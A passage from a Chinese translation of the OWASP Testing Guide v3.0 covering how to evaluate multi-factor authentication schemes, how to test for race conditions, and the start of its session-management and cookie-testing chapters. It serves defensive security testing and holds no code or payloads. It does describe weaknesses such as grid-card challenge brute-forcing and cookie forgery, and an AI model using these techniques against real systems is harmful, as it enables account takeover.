的 保 护 公 司 资 产 免 受 危 险 , 渗 透 测 试 进 一 步 的 责 任 就 是 逐 步 推 动 采 用 MFAS。<br />

146


OWASP 测 试 指 南 v3.0<br />

问 题 描 述<br />

一 般 情 况 下 , 双 因 子 认 证 系 统 的 目 的 是 提 高 认 证 过 程 的 强 度 [ 1 ] 。 通 过 检 查 其 它 因 素 , 或 “ 你 有 什 幺 ” 以 及 “ 你 知<br />

道 什 幺 ” 可 以 实 现 这 一 目 标 , 确 保 用 户 拥 有 密 码 和 某 种 硬 件 设 备 。 提 供 给 用 户 的 硬 件 设 备 可 以 直 接 使 用 额 外 的 交 互<br />

渠 道 独 立 与 认 证 基 础 设 施 交 互 。 这 一 特 色 被 称 为 “ 渠 道 分 离 ”。<br />

Bruce Schneier 在 2005 年 指 出 , 在 几 年 前 “ 威 胁 都 是 被 动 的 , 如 : 窃 听 和 离 线 密 码 猜 测 。 而 在 今 天 , 威 胁 更 积 极 ,<br />

如 : 钓 鱼 式 攻 击 和 木 马 ” [ 2 ] 。 事 实 上 , 在 Web 环 境 中 的 MFAS 要 正 确 处 理 的 普 遍 威 胁 包 括 :<br />

1. 证 书 盗 窃 ( 钓 鱼 , 窃 听 , 中 间 人 攻 击 MITM 例 如 从 受 害 网 络 中 从 事 银 行 业 务 )<br />

2. 弱 认 证 ( 认 证 密 码 猜 测 和 密 码 暴 力 破 解 攻 击 )<br />

3. 会 话 攻 击 ( 会 话 使 用 , 会 话 固 定 )<br />

4. 木 马 和 恶 意 攻 击 ( 从 损 害 的 客 户 端 从 事 银 行 业 务 )<br />

5. 密 码 重 用 ( 为 不 同 的 目 的 或 操 作 使 用 相 同 的 密 码 , 例 如 不 同 的 交 易 )<br />

最 佳 的 解 决 方 案 应 该 能 够 处 理 所 有 与 上 述 5 个 类 别 相 关 的 可 能 的 攻 击 事 件 。 区 分 认 证 解 决 方 案 的 强 度 一 般 取 决 于 在<br />

用 户 使 用 电 脑 系 统 时 所 检 查 的 “ 认 证 因 素 ” 的 数 量 。 典 型 的 IT 专 业 人 士 的 提 醒 是 : “ 如 果 你 不 满 意 你 目 前 的 验 证<br />

解 决 方 案 , 那 幺 你 只 需 要 添 加 其 它 认 证 因 素 ” 。 [ 3 ] 然 而 在 接 下 来 的 段 落 中 我 们 将 会 了 解 到 不 可 能 完 全 消 除 由 有 动<br />

机 的 攻 击 者 所 实 施 的 攻 击 风 险 ; 此 外 , 跟 其 它 方 案 相 比 ,MFAS 的 解 决 方 案 更 灵 活 和 更 安 全 。<br />

考 虑 到 以 上 的 第 5 点 威 胁 ( 5T), 我 们 可 以 分 析 特 定 的 MFAS 解 决 方 案 的 强 度 , 因 为 该 解 决 方 案 可 能 解 决 和 减 少<br />

web 攻 击 , 或 者 对 特 定 网 络 攻 击 不 采 取 补 救 措 施 。<br />

灰 盒 测 试<br />

对 MFAS 解 决 方 案 进 行 灰 盒 测 试 需 要 最 少 量 的 认 证 模 式 信 息 。 这 是 不 采 取 “ 黑 盒 测 试 ” 的 主 要 原 因 。 特 别 要 注 意 的<br />

是 , 对 整 个 认 证 结 构 有 个 大 致 了 解 非 常 重 要 , 因 为 :<br />

• 实 施 MFAS 解 决 方 案 是 为 了 对 清 除 操 作 实 行 认 证 。 而 清 除 操 作 理 应 在 安 全 网 络 内 部 执 行 。<br />

• 攻 击 者 如 果 能 对 MFAS 实 施 成 功 攻 击 , 说 明 他 对 所 有 正 在 发 生 的 事 情 有 高 度 控 制 。 因 为 攻 击 者 能 通 过 恶 意<br />

攻 击 截 取 任 意 数 据 , 从 而 “ 抓 取 ” 特 定 认 证 架 构 的 详 细 信 息 。 假 设 攻 击 者 必 须 成 为 银 行 客 户 才 能 知 道 银 行<br />

网 站 的 认 证 系 统 如 何 工 作 。 这 样 的 假 设 并 不 正 确 。 攻 击 者 只 需 要 控 制 一 个 客 户 , 然 后 学 习 这 个 网 站 的 整 个<br />

安 全 架 构 。( 在 这 一 领 域 著 名 的 是 SilentBanker Trojan [4] 的 作 者 , 他 能 在 受 害 用 户 浏 览 网 络 时 持 续 收 集 其 的<br />

访 问 网 站 的 信 息 。 另 外 一 个 案 例 是 2005 年 的 Swedish Nordea 银 行 攻 击 [5]).<br />

下 面 是 基 于 上 述 的 5T 模 式 对 不 同 MFAS 进 行 安 全 评 估 的 案 例 。<br />

147


Web 应 用 最 常 见 的 认 证 解 决 方 案 是 使 用 用 户 ID 和 密 码 认 证 。 在 这 种 情 况 下 , 授 权 电 汇 往 往 需 要 额 外 的 密 码 。 而<br />

MFAS 解 决 方 案 能 将 “ 你 所 拥 有 的 ” 加 入 认 证 过 程 。 它 通 常 是 ::<br />

• 一 次 性 密 码 (OTP) 所 生 成 的 验 证 码<br />

• 网 格 卡 , 刮 卡 , 或 只 有 合 法 用 户 才 知 道 的 信 息<br />

• 加 密 设 备 , 例 如 装 有 X.509 证 书 的 USB 验 证 码 或 智 能 卡<br />

• 随 机 产 生 并 通 过 GSM SMS[SMSOTP] [6] 等 短 信 传 输 的 一 次 性 密 码<br />

下 面 的 案 例 是 对 类 似 上 述 MFAS 的 不 同 实 施 情 况 的 测 试 和 评 估 。 如 果 应 用 架 构 已 经 存 在 , 渗 透 测 试 应 该 考 虑 当 前 解<br />

决 方 案 的 所 有 可 能 的 漏 洞 , 以 便 提 出 正 确 的 缓 和 因 素 。 在 初 步 选 择 解 决 方 案 阶 段 , 正 确 的 评 估 也 可 以 为 架 构 提 供 机<br />

会 选 择 正 确 MFAS。<br />

缓 和 因 素 就 是 一 个 额 外 的 组 件 或 对 策 , 能 减 少 特 定 漏 洞 被 利 用 的 可 能 性 。 信 用 卡 就 是 一 个 很 好 的 例 子 。 人 们 很 少 关<br />

注 信 用 卡 持 卡 人 的 认 证 信 息 , 通 常 收 银 员 只 核 对 签 名 是 否 正 确 。 而 在 电 话 或 网 络 上 使 用 信 用 卡 时 , 并 没 有 核 对 卡 号<br />

信 息 的 真 实 性 。 信 用 卡 公 司 花 费 大 量 精 力 在 控 制 交 易 安 全 方 面 , 但 并 没 有 关 注 持 卡 人 的 安 全 [7]。 在 交 易 过 程 中 使 用<br />

行 为 算 法 能 有 效 控 制 其 安 全 。 在 用 户 使 用 信 用 卡 时 , 行 为 算 法 能 自 动 填 写 风 险 评 分 表 , 能 阻 止 任 何 可 疑 的 交 易 。<br />

另 一 个 缓 和 因 素 就 是 通 过 单 独 的 安 全 信 道 通 知 用 户 发 生 的 事 情 。 信 用 卡 行 业 使 用 这 一 方 法 通 过 短 信 通 知 用 户 每 个 用<br />

户 交 易 情 况 。 如 果 发 生 欺 骗 行 为 , 用 户 能 立 刻 知 道 信 用 卡 发 生 问 题 。 通 过 独 立 渠 道 传 递 的 实 时 信 息 能 在 交 易 成 功 前<br />

准 确 通 知 用 户 交 易 情 况 。<br />

常 用 的 “ 用 户 ID, 密 码 和 清 除 密 码 ” 通 常 保 护 免 受 上 述 (3) 攻 击 , 免 受 部 分 (2) 攻 击 。 他 们 通 常 并 不 能 保 护 网 站<br />

免 受 (1),(4) 和 (5) 的 攻 击 。 在 渗 透 测 试 者 看 来 , 要 正 确 测 试 这 种 认 证 系 统 , 我 们 必 须 集 中 在 解 决 方 案 能 保<br />

护 的 方 面 。<br />

也 就 是 说 , 使 用 “ 用 户 ID, 密 码 和 清 除 密 码 ” 这 个 认 证 方 案 能 保 护 免 受 (2) 和 (3)。 渗 透 测 试 应 该 检 查 是 否 当 前<br />

的 部 署 能 否 有 效 迫 使 用 户 采 用 强 密 码 , 是 否 能 抵 御 基 于 会 话 的 攻 击 。( 例 如 , 为 了 迫 使 用 户 提 交 清 除 操 作 , 可 以 进<br />

行 网 站 伪 造 请 求 攻 击 。)<br />

• 基 于 “ 用 户 ID+ 密 码 + 清 除 密 码 ” 的 认 证 漏 洞 列 表 :<br />

o 已 知 漏 洞 : 1, 4, 5<br />

o<br />

已 知 漏 洞 ( 详 情 ): 因 为 密 码 是 不 变 的 , 并 且 攻 击 者 可 以 通 过 混 合 威 胁 攻 击 盗 取 密 码 [8], 从 而 导 致<br />

这 一 技 术 不 能 保 护 网 站 免 受 (1) 的 攻 击 。( 例 如 : 对 SSLv2 连 接 进 行 中 间 人 攻 击 )。 又 因 为 使 用<br />

同 一 个 的 已 清 除 的 密 码 能 进 行 多 种 操 作 , 这 一 技 术 同 样 也 不 能 保 护 应 用 免 受 (4) 和 (5) 的 攻 击 。<br />

o 有 效 性 ( 如 果 被 有 效 实 施 ): 2,3<br />

148


OWASP 测 试 指 南 v3.0<br />

o<br />

有 效 性 ( 详 情 ): 只 有 使 用 了 加 强 密 码 规 则 , 这 一 技 术 才 能 保 护 应 用 免 受 (2) 的 攻 击 。 它 能 保 护<br />

免 受 (3) 攻 击 , 因 为 清 除 密 码 请 求 不 允 许 攻 击 者 滥 用 当 前 用 户 会 话 提 交 清 除 操 作 [9]。<br />

现 在 分 析 不 同 MFAS 实 施 情 况 :<br />

如 果 MFAS 成 功 安 装 , 那 幺 “ 一 次 性 密 码 (OTP) 所 生 成 的 验 证 码 ” 能 保 护 免 受 (1), (2) 和 (3) 的 攻 击 。 它 有 时 不 能 保<br />

护 免 受 (5) 攻 击 , 并 且 无 法 保 护 免 受 (4) 攻 击 .。<br />

• 基 于 “ 一 次 性 密 码 ” 的 认 证 漏 洞 列 表 :<br />

o 已 知 漏 洞 :4, 偶 尔 出 现 漏 洞 5<br />

o<br />

已 知 漏 洞 ( 详 情 ): 由 于 银 行 恶 意 软 件 能 基 于 提 前 配 置 的 规 则 实 时 修 改 网 站 流 量 , 一 次 性 密 码 验 证<br />

码 无 法 防 护 (4);; 相 关 案 例 包 括 :malicious codes SilentBanker, Mebroot, and Trojan Anserin . 银 行<br />

恶 意 软 件 就 像 web 代 理 一 样 与 HTTPS 网 页 交 互 。 由 于 恶 意 软 件 完 全 控 制 了 受 害 客 户 端 , 用 户 采 取<br />

任 何 行 动 都 受 恶 意 软 件 控 制 : 恶 意 软 件 可 能 会 停 止 合 法 交 易 和 改 变 电 汇 账 户 。 密 码 重 用 (5) 就 是 一 个<br />

漏 洞 , 它 能 影 响 一 次 性 密 码 验 证 码 。 验 证 码 可 能 有 30 秒 的 有 效 期 ; 如 果 认 证 系 统 没 有 清 除 已 使 用<br />

过 的 验 证 码 , 通 常 会 导 致 一 个 验 证 码 能 在 30 秒 内 认 证 多 项 操 作 。<br />

o 有 效 性 ( 如 果 被 有 效 实 施 ): 1,2,3<br />

o<br />

有 效 性 ( 详 情 ): 由 于 一 次 性 密 码 验 证 码 的 有 效 期 通 常 很 短 , 它 能 有 效 阻 止 攻 击 (1)。 攻 击 者 需<br />

要 在 30 秒 内 盗 取 验 证 码 、 进 入 银 行 网 站 并 进 行 交 易 。 这 虽 然 可 行 , 但 是 通 常 不 会 形 成 大 范 围 攻<br />

击 。 其 次 , 一 次 性 密 码 HMAC 通 常 有 6 位 长 , 这 样 能 免 受 (2) 攻 击 。 渗 透 测 试 应 该 检 查 一 次 性 密<br />

码 验 证 码 所 执 行 的 算 法 是 否 是 安 全 的 , 并 且 确 定 这 个 算 法 是 不 可 预 测 的 。 最 后 , 由 于 必 须 提 供 验 证<br />

码 , 使 得 一 次 性 密 码 能 通 常 能 保 护 应 用 免 受 (3) 攻 击 。 渗 透 测 试 需 要 确 认 攻 击 者 不 能 绕 过 请 求 验<br />

证 验 证 码 的 程 序 。<br />

“ 网 格 卡 , 刮 卡 , 或 只 有 合 法 用 户 才 知 道 的 信 息 ” 能 保 护 免 受 (1), (2), (3) 攻 击 。 它 和 一 次 性 密 码 验 证 码 一 样 不 能 保 护<br />

免 受 (4) 攻 击 。 在 测 试 活 动 中 , 会 特 别 发 现 在 网 格 卡 中 存 在 漏 洞 易 受 (5) 攻 击 。 由 于 任 何 代 码 只 能 使 用 一 次 , 刮<br />

卡 不 会 受 到 密 码 重 用 的 影 响 。<br />

在 评 估 这 种 技 术 时 , 渗 透 测 试 应 特 别 注 意 对 网 格 卡 的 密 码 重 用 攻 击 (5)。 基 于 网 格 卡 的 系 统 通 常 会 多 次 要 求 同 样<br />

的 密 码 。 攻 击 者 只 需 要 知 道 一 个 一 次 性 密 码 ( 例 如 : 网 格 卡 内 的 一 个 密 码 ), 并 等 待 系 统 请 求 他 所 知 道 的 密 码 。 测<br />

试 的 网 格 卡 如 果 包 含 数 量 有 限 的 组 合 , 则 容 易 出 现 这 种 漏 洞 。( 例 如 , 如 果 一 个 网 格 卡 包 含 50 个 组 合 , 那 幺 攻 击<br />

者 只 需 要 得 到 一 个 密 码 、 填 充 所 有 字 段 、 完 成 挑 战 等 等 。 这 一 攻 击 并 不 是 暴 力 破 解 一 次 性 密 码 , 而 是 暴 利 破 解 这 一<br />

挑 战 )。 其 它 常 见 错 误 包 括 弱 密 码 政 策 。 任 何 网 格 卡 内 包 含 的 一 次 性 密 码 应 该 包 含 至 少 6 位 长 度 。 结 合 混 合 威 胁 或<br />

网 站 伪 造 请 求 能 有 效 实 施 攻 击 。<br />

“ 带 有 证 书 的 加 密 设 备 (USB 验 证 码 或 智 能 卡 )” 对 (2) 攻 击 能 提 供 很 好 的 防 御 。 但 是 他 们 不 能 100% 抵 抗 (3)、<br />

(4) 和 (5) 攻 击 。 这 一 技 术 提 供 最 好 的 安 全 承 诺 , 但 却 是 最 差 的 实 施 效 果 。USB 验 证 码 因 厂 商 而 异 。 有 些 能 只 在<br />

插 入 时 用 户 授 权 , 在 拔 出 时 用 户 无 权 操 作 。 这 看 起 来 是 个 很 好 的 保 护 措 施 , 但 实 际 上 有 些 USB 令 牌 添 加 进 一 步 的 隐<br />

性 验 证 层 。 这 样 他 们 就 无 法 保 护 免 受 (3) 的 攻 击 ( 例 如 : 实 施 跨 站 请 求 伪 造 和 跨 站 脚 本 代 码 进 行 自 动 转 换 )。<br />

149


定 制 的 “ 随 机 产 生 并 通 过 GSM SMS[SMSOTP] [6] 等 短 信 传 输 的 一 次 性 密 码 ” 能 有 效 保 护 免 受 (1)、(2)、(3) 和<br />

(5) 的 攻 击 。 成 功 实 施 这 一 方 法 同 样 也 能 缓 和 (4) 攻 击 。 与 前 面 的 方 法 相 比 , 这 是 唯 一 一 个 使 用 独 立 渠 道 与 银 行<br />

架 构 交 互 的 方 案 。 这 一 方 法 通 常 十 分 有 效 。 通 过 与 交 互 渠 道 分 离 , 它 能 通 知 用 户 所 发 生 的 任 何 交 易 。<br />

例 如 : 通 过 短 信 发 送 一 次 性 密 码<br />

"This token: 32982747 authorizes a wire transfer of $ 1250.4 to bank account 2345623 Bank of NY".<br />

上 述 验 证 码 只 授 权 在 短 信 中 所 提 的 特 定 交 易 。 通 过 这 种 方 式 用 户 能 控 制 其 转 账 能 进 入 正 确 的 银 行 账 户 。<br />

在 这 一 节 中 所 描 述 的 方 法 是 为 了 提 供 简 单 评 估 多 因 素 认 证 系 统 的 方 法 。 所 示 案 例 都 是 实 际 例 子 , 可 以 作 为 分 析 定 制<br />

MFAS 方 案 的 一 个 起 点 。<br />

参 考<br />

白 皮 书<br />

[1] [Definition] Wikipedia, Definition of Two Factor Authentication<br />

http://en.wikipedia.org/wiki/Two-factor_authentication<br />

[2] [SCHNEIER] Bruce Schneier, Blog Posts about two factor authentication 2005,<br />

http://www.schneier.com/blog/archives/2005/03/the_failure_of.html<br />

http://www.schneier.com/blog/archives/2005/04/more_on_twofact.html<br />

[3] [Finetti] Guido Mario Finetti, "Web application security in un-trusted client scenarios"<br />

http://www.scmagazineuk.com/Web-application-security-in-un-trusted-client-scenarios/article/110448<br />

[4] [SilentBanker Trojan] Symantec, Banking in Silence<br />

http://www.symantec.com/enterprise/security_response/weblog/2008/01/banking_in_silence.html<br />

[5] [Nordea] Finextra, Phishing attacks against two factor authentication, 2005<br />

http://www.finextra.com/fullstory.asp?id=14384<br />

[6] [SMSOTP] Bruce Schneier, “Two-Factor Authentication with Cell Phones”, November 2004,<br />

http://www.schneier.com/blog/archives/2004/11/twofactor_authe.html<br />

[7] [Transaction Authentication Mindset] Bruce Schneier, "Fighting Fraudulent Transactions"<br />

http://www.schneier.com/blog/archives/2006/11/fighting_fraudu.html<br />

[8] [Blended Threat] http://en.wikipedia.org/wiki/Blended_threat<br />

[9] [GUNTEROLLMANN] Gunter Ollmann, “Web Based Session Management. Best practices in managing HTTP-based client sessions”,<br />

http://www.technicalinfo.net/papers/WebBasedSessionManagement.htm<br />

150


OWASP 测 试 指 南 v3.0<br />

4.4.10 竞 争 条 件 测 试 (OWASP-AT-010)<br />

摘 要<br />

竞 态 条 件 是 一 个 缺 陷 。 当 行 动 的 时 间 影 响 了 其 它 行 动 时 , 它 会 产 生 意 想 不 到 的 结 果 。 例 如 : 多 线 程 应 用 程 序 中 对 相<br />

同 数 据 进 行 操 作 。 就 其 性 质 而 言 , 竞 态 条 件 难 以 测 试 。<br />

问 题 描 述<br />

当 某 一 进 程 必 须 或 者 意 外 地 依 赖 于 其 它 事 件 的 完 成 顺 序 或 时 间 时 , 就 会 产 生 竞 态 条 件 。 在 Web 应 用 环 境 下 , 指 定<br />

时 间 内 可 以 处 理 多 个 请 求 , 开 发 人 员 可 能 依 赖 程 序 框 架 、 服 务 器 或 编 程 语 言 来 处 理 并 行 。 下 列 简 化 的 例 子 说 明 在 交<br />

易 的 Web 应 用 程 序 中 潜 在 的 并 行 问 题 , 并 涉 及 联 合 储 蓄 帐 户 中 的 两 个 用 户 ( 线 程 ) 都 登 录 到 同 一 帐 户 试 图 转 账 的<br />

情 况 。<br />

帐 户 A 有 100 存 款<br />

帐 户 B 有 100 存 款 .。<br />

用 户 1 和 用 户 2 都 希 望 从 帐 户 A 转 10 分 到 帐 户 B, 如 果 是 正 确 的 交 易 的 结 果 应 该 是 :<br />

帐 户 A 80 分<br />

帐 户 B 120 分<br />

然 而 , 由 于 并 发 性 的 问 题 , 可 以 得 到 下 面 的 结 果 :<br />

用 户 1 检 查 帐 户 A ( = 100 分 )<br />

用 户 2 检 查 帐 户 A ( = 100 分 )<br />

用 户 2 需 要 从 帐 户 A 拿 取 10 分 ( = 90 分 ) , 并 把 它 放 在 帐 户 B ( = 110 分 )<br />

用 户 1 需 要 从 帐 户 A 拿 取 10 分 ( 仍 然 认 为 含 有 100 个 分 ) ( = 90 分 ) , 并 把 它 放 到 B( = 120 分 )<br />

结 果 :<br />

帐 户 A 90 分<br />

帐 户 B 120 分<br />

151


另 一 个 例 子 是 OWASP 的 WebGoat 项 目 线 程 安 全 课 程 , 它 显 示 了 如 何 操 纵 购 物 车 去 购 买 少 于 其 广 告 价 格 的 物 品 。 和<br />

上 面 的 例 子 一 样 , 这 是 由 于 审 查 时 间 和 使 用 时 间 之 间 的 数 据 变 化 引 起 的 。<br />

黑 盒 测 试 实 例<br />

由 于 竞 态 条 件 的 性 质 的 , 它 的 测 试 存 在 诸 多 问 题 。 同 时 测 试 的 外 部 影 响 , 包 括 服 务 器 负 载 、 网 络 延 迟 等 , 都 会 对 竞<br />

争 条 件 的 存 在 和 检 测 起 到 一 定 影 响 。<br />

但 是 , 测 试 可 以 集 中 在 应 用 的 交 易 部 分 。 在 这 些 领 域 中 具 体 数 据 变 量 的 读 取 时 间 和 使 用 时 间 会 受 到 并 发 事 件 的 不 利<br />

影 响 。<br />

黑 盒 测 试 通 过 同 时 提 交 多 个 请 求 来 制 造 竞 态 条 件 , 并 观 察 是 否 有 意 外 结 果 。<br />

“ 关 于 Web 应 用 程 序 中 的 竞 争 漏 洞 ” 文 件 中 列 举 了 这 一 领 域 的 案 例 。 在 后 面 的 阅 读 章 节 中 将 引 用 这 些 案 例 。 作 者<br />

认 为 在 某 些 情 况 下 有 可 能 :<br />

• 使 用 同 一 用 户 名 创 建 多 个 用 户 帐 户 。<br />

• 绕 道 针 对 暴 力 破 解 的 帐 户 锁 定 。<br />

测 试 者 应 意 识 到 竞 态 条 件 引 起 的 安 全 问 题 和 影 响 测 试 难 度 的 相 关 因 素 。<br />

灰 盒 测 试 实 例<br />

代 码 审 查 能 揭 露 并 发 问 题 可 能 存 在 的 领 域 。 更 多 关 于 并 发 问 题 的 代 码 审 查 信 息 请 查 看 OWASP ’ 代 码 审 查 指 南 的<br />

Reviewing Code for Race Conditions<br />

参 考<br />

• iSec Partners - Concurrency attacks in Web Applications http://isecpartners.com/files/iSEC%20Partners%20-<br />

%20Concurrency%20Attacks%20in%20Web%20Applications.pdf<br />

• B. Sullivan and B. Hoffman - Premature Ajax-ulation and You https://www.blackhat.com/presentations/bh-usa-<br />

07/Sullivan_and_Hoffman/Whitepaper/bh-usa-07-sullivan_and_hoffman-WP.pdf<br />

• Thread Safety Challenge in WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project<br />

• R. Paleari, D. Marrone, D. Bruschi, M. Monga - On Race Vulnerabilities in Web Applications<br />

http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf<br />

152


OWASP 测 试 指 南 v3.0<br />

4.5 会 话 管 理 测 试<br />

任 何 基 于 Web 的 应 用 程 序 的 核 心 就 是 保 持 状 态 从 而 控 制 网 站 用 户 交 互 的 方 式 。 会 话 管 理 大 致 涵 盖 了 从 认 证 到 离 开 应<br />

用 程 序 的 所 有 用 户 控 制 。HTTP 是 一 种 无 状 态 协 议 , 也 就 是 说 ,Web 服 务 器 不 需 要 关 联 客 户 端 请 求 就 能 响 应 。 但 即<br />

使 是 简 单 的 应 用 逻 辑 都 需 要 关 联 数 个 客 户 端 请 求 而 组 合 成 为 一 个 “ 会 话 “。 这 就 需 要 第 三 方 的 解 决 方 案 - 通 过 任 何<br />

现 成 的 ( 原 始 文 本 服 务 ) 中 间 件 和 Web 服 务 器 解 决 方 案 , 或 实 施 定 制 开 发 。 最 受 欢 迎 的 网 络 应 用 环 境 , 如 ASP 和<br />

PHP , 为 开 发 人 员 提 供 了 内 置 的 会 话 处 理 例 程 。 通 常 会 发 行 称 为 “ 会 话 ID ” 或 Cookie 的 识 别 标 志 。<br />

Web 应 用 程 序 可 能 与 用 户 交 互 的 方 法 有 很 多 种 。 每 种 方 法 都 取 决 于 网 站 的 性 质 、 安 全 性 和 应 用 的 有 效 性 需 求 。 虽 然<br />

存 在 对 应 用 开 发 公 认 的 最 佳 做 法 , 如 OWASP Guide to Building Secure Web Applications 中 所 概 述 的 方 法 , 供 应 商 的<br />

要 求 和 期 望 文 本 中 对 应 用 安 全 的 考 虑 也 十 分 重 要 。 在 这 一 章 中 , 我 们 描 述 了 下 列 项 目 。<br />

4.5.1 会 话 管 理 模 式 测 试 (OWASP-SM-001)<br />

这 节 说 明 如 何 分 析 会 话 管 理 模 式 。 其 目 标 是 理 解 如 何 开 发 会 话 管 理 机 制 , 并 确 定 是 否 能 打 破 这 一 机 制 以 便 绕 过 用 户<br />

会 话 。 这 一 节 解 释 了 如 何 测 试 发 送 给 客 户 端 浏 览 器 的 会 话 验 证 码 的 安 全 : 如 何 对 cookie 实 行 反 向 工 程 , 以 及 如 何<br />

通 过 篡 改 cookies 来 劫 持 会 话 。<br />

4.5.2 Cookies 属 性 测 试 (OWASP-SM-002)<br />

Cookies 往 往 是 恶 意 用 户 关 键 的 攻 击 媒 介 ( 通 常 针 对 其 他 用 户 )。 因 此 , 应 用 程 序 应 始 终 采 取 措 施 保 护 cookie<br />

。 在 本 节 中 , 我 们 将 了 解 应 用 程 序 在 分 派 cookie 时 如 何 采 取 必 要 的 预 防 措 施 , 以 及 如 何 测 试 这 些 已 正 确 配 置 的<br />

cookie 的 属 性 。<br />

4.5.3 会 话 固 定 测 试 (OWASP-SM_003)<br />

当 应 用 程 序 在 成 功 验 证 用 户 后 不 更 新 Cookie 时 , 我 们 就 能 找 到 会 话 固 定 漏 洞 并 迫 使 用 户 使 用 攻 击 者 已 知 的<br />

cookie。<br />

4.5.4 会 话 变 量 泄 漏 测 试 (OWASP-SM-004)<br />

因 为 会 话 验 证 码 连 系 了 用 户 身 份 和 用 户 会 话 , 所 有 它 代 表 的 是 保 密 信 息 。 我 们 可 以 测 试 会 话 验 证 码 是 否 暴 露 在 漏 洞<br />

中 , 并 试 着 追 溯 会 话 攻 击 。<br />

4.5.5 跨 站 伪 造 请 求 (CSRF) 测 试 (OWASP-SM-005)<br />

跨 站 伪 造 请 求 描 述 了 在 web 应 用 中 迫 使 已 通 过 验 证 的 未 知 用 户 执 行 不 必 要 请 求 的 方 法 。 本 节 介 绍 了 如 何 测 试 应 用 程<br />

序 找 到 这 种 漏 洞 。<br />

153


4.5.1 会 话 管 理 模 式 测 试 (OWASP-SM-001)<br />

摘 要<br />

为 了 避 免 不 断 验 证 网 站 或 服 务 的 每 一 页 面 , Web 应 用 程 序 实 现 了 各 种 机 制 在 预 先 确 定 的 时 间 范 围 内 来 存 储 和 验 证 凭<br />

据 。<br />

这 些 机 制 被 称 为 会 话 管 理 。 他 们 在 提 高 应 用 程 序 的 易 用 性 和 用 户 友 好 性 方 面 起 着 重 要 作 用 , 但 同 时 也 增 加 了 在 不 需<br />

要 提 供 正 确 的 凭 据 情 况 下 , 被 渗 透 进 入 用 户 账 号 的 可 能 性 。 这 个 测 试 需 要 检 查 是 否 是 在 安 全 和 非 预 知 情 况 下 创 建<br />

cookies 和 其 它 会 话 验 证 码 。 如 果 攻 击 者 能 够 预 测 并 伪 造 弱 cookie, 他 们 就 可 以 轻 易 地 劫 持 合 法 用 户 会 话 。<br />

相 关 安 全 活 动<br />

会 话 管 理 漏 洞 说 明<br />

参 见 OWASP 文 章 之 会 话 管 理 漏 洞 。<br />

会 话 管 理 策 略 说 明<br />

参 见 OWASP 文 章 之 会 话 管 理 策 略 。<br />

如 何 避 免 会 话 管 理 漏 洞<br />

参 见 OWASP Development Guide 文 章 之 如 何 避 免 会 话 管 理 漏 洞 。<br />

如 何 审 查 会 话 管 理 / 漏 洞<br />

参 见 OWASP Code Review Guide 文 章 之 如 何 审 查 会 话 管 理 / 漏 洞 。<br />

问 题 描 述<br />

用 Cookies 执 行 会 话 管 理 在 RFC 2965 有 详 细 说 明 。 简 而 言 之 , 当 用 户 进 入 应 用 程 序 时 , 应 用 程 序 需 要 跟 踪 用 户 行 为<br />

并 通 过 多 个 请 求 确 认 用 户 身 份 , 服 务 器 会 产 生 一 个 ( 或 多 个 )cookie 并 发 送 到 客 户 端 。 然 后 除 非 cookie 到 期 或 销<br />

毁 , 否 则 客 户 端 会 在 以 后 的 所 有 请 求 中 , 将 cookie 发 送 回 到 服 务 器 。 储 存 在 cookie 中 的 数 据 可 以 提 供 给 服 务 器 大 量<br />

用 户 信 息 , 包 括 用 户 个 人 信 息 , 用 户 操 作 信 息 , 用 户 个 人 化 设 定 等 , 就 像 一 个 包 含 状 态 的 HTTP 协 议 。<br />

典 型 的 例 子 就 是 在 线 购 物 车 。 在 整 个 用 户 会 话 期 间 , 应 用 程 序 必 须 跟 进 用 户 身 份 、 个 人 信 息 、 选 择 购 买 的 产 品 、 数<br />

量 、 单 价 、 折 扣 等 等 。Cookie 就 是 存 储 这 些 信 息 的 有 效 方 法 ( 其 它 方 法 有 URL 参 数 和 隐 藏 字 段 )。<br />

由 于 cookie 存 储 的 数 据 很 重 要 , 因 此 它 在 应 用 程 序 的 总 体 安 全 方 面 也 至 关 重 要 。 篡 改 Cookie 可 能 会 导 致 劫 持 合 法<br />

用 户 会 话 、 在 活 跃 会 话 中 获 得 更 高 的 权 限 、 并 在 未 经 授 权 的 方 式 下 影 响 应 用 操 作 。 在 这 个 测 试 中 , 我 们 必 须 检 查 发<br />

154


OWASP 测 试 指 南 v3.0<br />

送 给 客 户 端 的 Cookie 是 否 能 抵 御 干 扰 合 法 用 户 和 应 用 自 身 的 各 种 攻 击 。 攻 击 的 目 标 是 伪 造 一 个 应 用 程 序 视 为 有 效 的<br />

Cookie, 并 能 提 供 某 种 形 式 的 未 经 授 权 的 访 问 ( 会 话 劫 持 , 权 限 升 级 ,……)。 通 常 攻 击 方 式 主 要 步 骤 如 下 :<br />

• Cookie 收 集 : 收 集 足 够 数 量 的 的 Cookie 样 本 ;<br />

• cookie 逆 向 工 程 : 分 析 cookie 的 生 成 算 法 ;<br />

• Cookie 操 纵 : 伪 造 有 效 的 Cookie , 以 便 能 够 进 行 攻 击 。 这 是 最 后 一 步 , 可 能 需 要 大 量 的 尝 试 。 这 取 决 于<br />

cookie 是 如 何 创 建 的 。 (Cookie 蛮 力 攻 击 ) 。<br />

另 一 种 攻 击 模 式 包 括 Cookie 溢 出 。 严 格 地 说 , 这 种 攻 击 包 括 不 同 性 质 。 由 于 这 并 不 是 要 创 建 完 全 有 效 的<br />

cookie, 而 是 令 内 存 区 溢 出 , 因 此 干 扰 应 用 程 序 的 正 确 行 为 并 在 可 能 情 况 下 注 入 恶 意 代 码 ( 远 程 执 行 )。<br />

黑 盒 测 试 实 例<br />

应 该 遵 守 下 面 标 准 测 试 所 有 客 户 端 和 应 用 程 序 之 间 的 相 互 关 系 :<br />

• 是 否 所 有 Set-Cookie 指 令 都 安 全<br />

• 是 否 在 未 加 密 传 输 中 发 生 了 cookie 操 作<br />

• 是 否 可 以 强 迫 cookie 以 未 加 密 传 输<br />

• 如 果 可 以 , 应 用 程 序 如 何 维 护 其 安 全<br />

• 是 否 有 任 何 cookie 持 续<br />

• 在 持 续 cookie 上 的 有 效 期 有 多 久 ? 这 些 有 效 期 设 置 是 否 合 理 ?<br />

• 是 否 正 确 配 置 瞬 态 cookies<br />

• 使 用 了 哪 种 HTTP/1.1 的 缓 存 控 制 设 置 来 保 护 cookies?<br />

• 使 用 了 哪 种 HTTP/1.0 的 缓 存 控 制 设 置 来 保 护 cookies?<br />

Cookie 收 集<br />

